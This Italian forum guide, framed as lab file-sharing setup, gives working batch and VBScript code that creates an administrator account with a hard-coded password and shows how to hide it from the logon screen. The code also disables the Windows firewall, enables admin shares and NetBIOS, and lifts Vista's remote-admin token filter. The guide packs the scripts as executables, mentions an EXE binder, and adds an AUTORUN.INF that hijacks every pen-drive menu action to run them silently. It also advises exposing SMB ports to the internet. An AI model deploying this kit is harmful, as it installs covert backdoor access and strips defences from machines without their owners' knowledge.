BATCH+VBSCRIPT per condivisione dei files fra PC


Quanti di voi si sono trovati nelle condizioni di dover mettere in condivisione su diverse macchine dei file?
Sembrerebbe una cosa semplice e di facile attuazione, ma non sempre è così.

Questa mattina ho avuto la necessita' di attivare una condivisione
su diverse macchine, ed ho voluto automatizzare la cosa realizzando degli scipt,
convertendoli in .exe (per fare la cosa piu' elegante) e attivandoli su ogni macchina del laboratorio.

Creiamo un account da amministratore ed attiviamo le condivisioni amministrative della macchina in questione.

FILE: CreateAdmin_EnableAutoShare.BAT

Codice:

@Echo Off
SET usr=admin0
SET pwd=LAMIAPASSWORD
net user "%usr%" "%pwd%" /add > nul
net localgroup Administrators %usr% /add > nul
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v admin0 /t REG_DWORD /d 1 /f > nul

REM *********************************************************************
REM SE VOLESSIMO NASCONDERE L'ACCOUNT DALLA SCHERMATA INIZIALE DI LOGON DOBBIAMO SETTARE IL FLAG A 0
REM REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v admin0 /t REG_DWORD /d 0 /f > nul     
REM *********************************************************************

REM AutoShareServer = Forza la creazione delle condivisioni di default sui server
REM AutoShareWks = Forza la creazione delle condivisioni di default sulle workstation
REM INFO QUI': http://support.microsoft.com/kb/288164/it E QUI': http://support.microsoft.com/kb/245117/it

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters" /v AutoShareWks /t REG_DWORD /d 1 /f > nul
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters" /v AutoShareServer /t REG_DWORD /d 1 /f > nul

REM In Vista le condivisioni amministrative sono ancora presenti ma risultano bloccate per ragioni di sicurezza.

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f > nul


Citazione:

CITAZIONE:
http://www.intelliadmin.com/blog/2006/09/hide-user-accounts-from-windows-xp.html



The welcome screen displays all of the local
users on the system, except the built-in
administrator account that was created during
setup. If we want to hide a specific user
from the list, we need to create a special
value under this registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Under this key you simply create a new DWORD
value - the name matches the users name
exactly, and the value is one of the
following (Decimal format)

0 - Hides the user just from the welcome screen
1 - The user is shown

Before you start putting values in this key,
I want to warn you. This tip is particularly
dangerous. If you make the wrong move, you
could make it nearly impossible to get back
into your system. Don't blame me if you hose
your system!


DISABILITIAMO IL FIREWALL DI WINDOWS IN QUESTO MODO:

FILE: DisableXPFirewall.vbs

Codice:

Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
objPolicy.FirewallEnabled = FALSE


Ed infine abilitamo netbios sempre da script

FILE: EnableNetBios_Over_Tcp-IP.vbs

Codice:

' Modify NetBIOS Use on a Network Adapter


On Error Resume Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colNetCards = objWMIService.ExecQuery _
("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True")

For Each objNetCard in colNetCards
objNetCard.SetTCPIPNetBIOS(1)
Next
' 0 = Use setting from DHCP; 1 = Enable; 2 = Disable


Per essere un attimino piu' eleganti... convertiamo gli script in exe

Codice:

CreateAdmin_EnableAutoShare.EXE
DisableXPFirewall.EXE
EnableNetBios_Over_Tcp-IP.EXE


POTREMMO FORGIARE GLI EXE (JOIN DEGLI ESEGUIBILI)... MA POSSIAMO ANCHE UTILIZZARE UN ALTRO BATCH PER AUTOMATIZZARE L'ESECUZIONE DEI FILES.
inPEct .EXE binder | stas'den

FILE: LOAD.BAT

Codice:

@ECHO OFF
CreateAdmin_EnableAutoShare.EXE
DisableXPFirewall.EXE
EnableNetBios_Over_Tcp-IP.EXE


Condiamo il tutto con un bel AUTORUN.INF messo nella root della pen-drive.

FILE: AUTORUN.INF

Codice:

[autorun]
open=LOAD.BAT open

shellexecute=LOAD.BAT open

shell=auto

action=CREA ACCOUNT ADMIN, ATTIVA COND.AMMINISTRATIVE, ABILITA NETBIOS EnableNetBios_Over_Tcp-IP.EXE

shell\auto=&Auto
shell\auto\command=LOAD.BAT open

shell\open=&Open
shell\open\command=LOAD.BAT open

shell\explore=E&xplore
shell\explore\command=LOAD.BAT open

shell\find=S&earch...
shell\find\command=LOAD.BAT open

shell\install=&ATTIVA_CONDIVISIONI!
shell\install\command=LOAD.BAT open


SE LA MACCHINA E SOTTO UN RUOTER BISOGNA EFFETURE PORT FORWARDING(IL http://it.wikipedia.org/wiki/Port_forwarding)
SULL'IP DELLA MACCHINA CHE DEVE CONDIVIDERE LE SUE RISORSE CON L'ESTERNO(SULLE PORTE: 135, 137, 138, 139, 445).

POTETE LEGGERE UN'INTERESSANTE ARTICOLO RECENSITO DA ANDREA BIAGGI SULLE CONDIVISIONI DI WINDOWS ALL'INDIRIZZO:

http://www.andreabeggi.net/2005/05/28/la-condivisione-files-di-windows-come-funziona/

TCP/135 - RCP
UDP/137 - NetBIOS Name Service
UDP/138 - NetBIOS Datagram Service
TCP/139 - NetBIOS Session Service
(Win200,xp..)TCP/445 in alternativa alle solite 137-139

Mi sembra doveroso rimarcare il grosso lavoro svolto da tutti gli utenti del forum che assimeme allo staf rendono la comunity veramente ricca di qualsiasi informazione e di spunti tecnici di notevole interesse, vi invitiamo quindi,  per qualsiasi domanda o chiarimento a contattare gli autori delle guide sul forum e a partecipare alla vita dello stesso.

Si ringrazia 4ckr4sTudy per aver fornito questa ottima guida


Tags Cloud 3D

Bookmarks

Delicious Technorati Furl Yahoo_myweb Google_bmarks Windows_live Digg Newsvine MySocialBookmark Social Bookmark Script 

Supportaci





Aggiungi questo sito ai preferiti
Scegli come Homepage